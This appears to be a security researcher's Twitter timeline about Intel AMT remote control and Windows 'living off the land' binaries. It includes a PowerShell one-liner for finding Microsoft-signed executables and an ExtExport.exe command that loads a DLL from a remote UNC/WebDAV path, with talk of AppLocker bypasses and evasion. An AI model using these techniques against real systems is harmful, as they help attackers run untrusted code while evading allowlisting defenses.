Victor Teissler

[Victor Teissler @VTeissler]

@_markel___ Thanks a ton! It's a very exciting system to play with.

[Victor Teissler @VTeissler]

@_markel___ That clears it up for me, thanks! I haven't pulled apart the firmware yet, so my perspective comes from observing the protocols. I believe you are correct, and I hope you can see where the initial description was coming from!

[Victor Teissler @VTeissler]

@_markel___ From a protocol perspective I'm interacting with a kvmr session not SOL. Factoring in your comments gives me the impression that kvmr uses SOL internally for keyboard manipulation. Would you agree with that assessment?

[Victor Teissler @VTeissler]

Weaponizing AMT with Python -
https://t.co/VBodemIO2u

[Victor Teissler @VTeissler]

@bertjwregeer Aww yeah!

[Victor Teissler @VTeissler]

Enumerating lolbin candidates - this was hundreds of lines of c++17!

Get-ChildItem C:\ -recurse -file |ForEach-Object {if($_ -match '.+?exe$') {Get-AuthenticodeSignature $_.fullname}} | where {$_.IsOSBinary} |ForEach-Object { write-host $_.path }

[Victor Teissler @VTeissler]

@Hexacorn @TheColonial @Oddvarmoe @ConsciousHacker Thanks! Also, sorry for the late replies guys - I've been moving and getting ready for a presentation. I appreciate the help.

[Victor Teissler @VTeissler]

MS signed #lolbin ExtExport accepts UNC paths. Loads DLL from local disk, SMB and WebDav links. 64 and 32 bit bins on disk.

.\ExtExport.exe "\\https://t.co/6g1Z1r0yHM\tools\Autoruns64.dll" a b JSON FIREFOX c

Anyone care to test if it has evasive properties?

[Victor Teissler @VTeissler]

@Oddvarmoe Thanks for checking, I really appreciate it. Also, that is interesting behavior.

Considering that LoadLibrary and friends are stopped - I suspect that AppLocker bypasses will require an interpreter, or other means of executing data as code.

[Victor Teissler @VTeissler]

@TheColonial @Oddvarmoe @ConsciousHacker @Hexacorn You are right! While I am proud to say that I found it independently, I have to humbly agree that he found it first.

[Victor Teissler @VTeissler]

@RTWynns I blame sweetroll and his shifty public IP!

[Victor Teissler @VTeissler]

Hi twitter. Long time listener, first time caller - I have no idea what I'm doing.

[Victor Teissler @VTeissler]

@Oddvarmoe @ConsciousHacker Thanks - much appreciated!

[Victor Teissler @VTeissler]

@subTee Found a MS signed program in standard win10 install - it lets you load arbitrary dlls into memory. Not sure if its interesting, mind taking a look? (DM me)